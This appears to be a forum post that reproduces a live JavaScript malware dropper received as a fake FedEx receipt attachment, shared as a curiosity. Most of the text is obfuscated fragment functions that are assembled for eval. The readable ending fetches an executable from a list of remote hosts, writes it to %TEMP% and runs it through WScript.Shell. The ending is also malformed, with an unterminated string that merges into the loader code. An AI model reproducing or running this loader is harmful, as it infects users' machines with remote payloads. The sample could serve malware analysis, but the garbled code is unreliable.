// A virus showed up in my email today. // It was a zip file claiming to be a Fedex receipt. // To my surprise, the zip did not contain an exe, but a js file. // I got a kick out of it, so I thought I'd share it. // I have added newlines and some spaces, but otherwise left it as received: var stroke="5557575E0E0B170C12241E0B0B090D0A1001160A01104A0A0110"; function pk44pa() { return 'Shel'; }; function pk112pa() { return '= '; }; function pk100pa() { return 'ch'; }; function pk188pa() { return 'GET'; }; function pk4pa() { return 'l('; }; function pk186pa() { return '.ope'; }; function pk190pa() { return 'ht'; }; function pk114pa() { return 'xo.st'; }; function pk169pa() { return 'n(fn'; }; function pk218pa() { return '; if '; }; function pk184pa() { return 'y { '; }; var v = ''; function pk26pa() { return '(var '; }; function pk230pa() { return 'dl'; }; function pk142pa() { return 'esp'; }; function pk89pa() { return 'Obje'; }; function pk148pa() { return 'ze '; }; function pk194pa() { return '+"/d'; }; function pk35pa() { return ' n'; }; function pk16pa() { return 'es'; }; function pk199pa() { return 'd='; }; function pk215pa() { return 'ch ('; }; function pk78pa() { return '".exe'; }; function pk101pa() { return 'ange '; }; function pk121pa() { return '= n'; }; function pk80pa() { return 'va'; }; function pk150pa() { return '000)'; }; function pk33pa() { return '{ var'; }; function pk119pa() { return 'ar'; }; function pk66pa() { return 'Code('; }; function pk156pa() { return 'tio'; }; function pk54pa() { return 'me'; }; function pk76pa() { return '0000'; }; function pk72pa() { return 'ran'; }; function pk107pa() { return '(xo.'; }; function pk138pa() { return '; x'; }; function pk58pa() { return '("'; }; function pk208pa() { return 'e)'; }; function pk146pa() { return 'xa'; }; function pk104pa() { return 'ction'; }; function pk67pa() { return '92)+M'; }; function pk181pa() { return '); '; }; function pk211pa() { return 'en'; }; function pk196pa() { return 'um'; }; function pk34pa() { return ' ws ='; }; function pk145pa() { return ' if ('; }; function pk151pa() { return ' { dn'; }; function pk126pa() { return '("'; }; function pk133pa() { return 'n(); '; }; function pk168pa() { return '.Ru'; }; function pk77pa() { return '000)+'; }; function pk205pa() { return 'ok'; }; function pk158pa() { return '= 0'; }; function pk149pa() { return '> 5'; }; function pk116pa() { return ' == 2'; }; function pk6pa() { return '{ v'; }; function pk36pa() { return 'ew'; }; function pk68pa() { return 'at'; }; function pk46pa() { return 'var f'; }; function pk19pa() { return 'ers.'; }; function pk5pa() { return 'fr) '; }; function pk84pa() { return 'var '; }; function pk134pa() { return 'xa'; }; function pk195pa() { return 'oc'; }; function pk166pa() { return ' try '; }; function pk125pa() { return 'bject'; }; function pk32pa() { return 'i++) '; }; function pk180pa() { return 'ose('; }; function pk219pa() { return '(d'; }; function pk40pa() { return 'ct("'; }; function pk225pa() { return '311'; }; function pk61pa() { return '+St'; }; function pk141pa() { return 'xo.R'; }; function pk221pa() { return ' 1) b'; }; function pk226pa() { return '); dl'; }; function pk45pa() { return 'l"); '; }; function pk109pa() { return 'ySt'; }; function pk198pa() { return 'hp?rn'; }; function pk108pa() { return 'read'; }; function pk228pa() { return '05'; }; function pk74pa() { return 'm('; }; function pk143pa() { return 'onseB'; }; function pk179pa() { return 'xa.cl'; }; function pk204pa() { return 'tr'; }; function pk203pa() { return '="+s'; }; function pk9pa() { return 'rigg'; }; function pk171pa() { return '0);'; }; function pk164pa() { return 'n,2'; }; function pk25pa() { return 'for '; }; function pk163pa() { return '(f'; }; function pk167pa() { return '{ ws'; }; function pk71pa() { return 'Math.'; }; function pk92pa() { return 'XML2'; }; function pk81pa() { return 'r '; }; function pk79pa() { return '"; '; }; function pk131pa() { return 'a.'; }; function pk43pa() { return 'pt.'; }; function pk87pa() { return 'ct'; }; function pk162pa() { return 'ile'; }; function pk128pa() { return '.Str'; }; function pk88pa() { return 'iveX'; }; function pk63pa() { return 'ng.f'; }; function pk161pa() { return 'veToF'; }; function pk10pa() { return 'st.'; }; function pk99pa() { return 'te'; }; function pk98pa() { return 'dysta'; }; function pk231pa() { return '(15'; }; function pk122pa() { return 'ew A'; }; function pk48pa() { return '= '; }; function pk50pa() { return '.Ex'; }; function pk21pa() { return '".s'; }; function pk3pa() { return 'n d'; }; function pk210pa() { return 'xo.s'; }; function pk206pa() { return 'e,'; }; function pk62pa() { return 'ri'; }; function pk152pa() { return ' = '; }; function pk97pa() { return 'rea'; }; function pk106pa() { return 'if '; }; function pk227pa() { return '(1'; }; function pk178pa() { return '}; '; }; function pk124pa() { return 'eXO'; }; function pk176pa() { return 'r) {'; }; function pk115pa() { return 'atus'; }; function pk110pa() { return 'at'; }; function pk52pa() { return 'En'; }; function pk160pa() { return 'a.sa'; }; function pk8pa() { return ' = "'; }; function pk187pa() { return 'n("'; }; function pk2pa() { return 'ctio'; }; function pk207pa() { return ' fals'; }; function pk177pa() { return '}; '; }; function pk214pa() { return 'at'; }; function pk224pa() { return '; dl('; }; function pk86pa() { return 'new A'; }; function pk13pa() { return 'dcpow'; }; function pk172pa() { return ' }'; }; function pk65pa() { return 'ar'; }; function pk73pa() { return 'do'; }; function pk209pa() { return '; '; }; function pk57pa() { return 'gs'; }; function pk12pa() { return 'm s'; }; function pk51pa() { return 'pand'; }; function pk70pa() { return 'und('; }; function pk182pa() { return '}; };'; }; function pk1pa() { return 'fun'; }; function pk93pa() { return '.XMLH'; }; function pk197pa() { return 'ent.p'; }; function pk233pa() { return ';'; }; function pk69pa() { return 'h.ro'; }; function pk139pa() { return 'a.w'; }; function pk85pa() { return 'xo = '; }; function pk82pa() { return 'dn '; }; function pk154pa() { return 'a.p'; }; function pk155pa() { return 'osi'; }; function pk127pa() { return 'ADODB'; }; function pk0pa() { return 'eval'; }; function pk144pa() { return 'ody);'; }; function pk212pa() { return 'd();'; }; function pk183pa() { return ' tr'; }; function pk37pa() { return ' Acti'; }; function pk200pa() { return '"+f'; }; function pk130pa() { return '); x'; }; function pk111pa() { return 'e ='; }; function pk38pa() { return 'veXOb'; }; function pk27pa() { return 'i=0'; }; function pk232pa() { return '73)'; }; function pk23pa() { return '(" ")'; }; function pk11pa() { return 'co'; }; function pk75pa() { return ')*10'; }; function pk159pa() { return '; x'; }; function pk157pa() { return 'n '; }; function pk189pa() { return '","'; }; function pk60pa() { return '%")'; }; function pk147pa() { return '.si'; }; function pk220pa() { return 'n =='; }; function pk223pa() { return ' }; }'; }; function pk185pa() { return 'xo'; }; function pk59pa() { return '%TEMP'; }; function pk135pa() { return '.ty'; }; function pk165pa() { return ');'; }; function pk17pa() { return '-egla'; }; function pk102pa() { return '= '; }; function pk132pa() { return 'ope'; }; function pk153pa() { return '1; x'; }; function pk14pa() { return 'er.'; }; function pk31pa() { return 'gth; '; }; function pk7pa() { return 'ar b'; }; function pk129pa() { return 'eam"'; }; function pk173pa() { return ' cat'; }; function pk29pa() { return ' 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(311); dl(1052); dl(1573);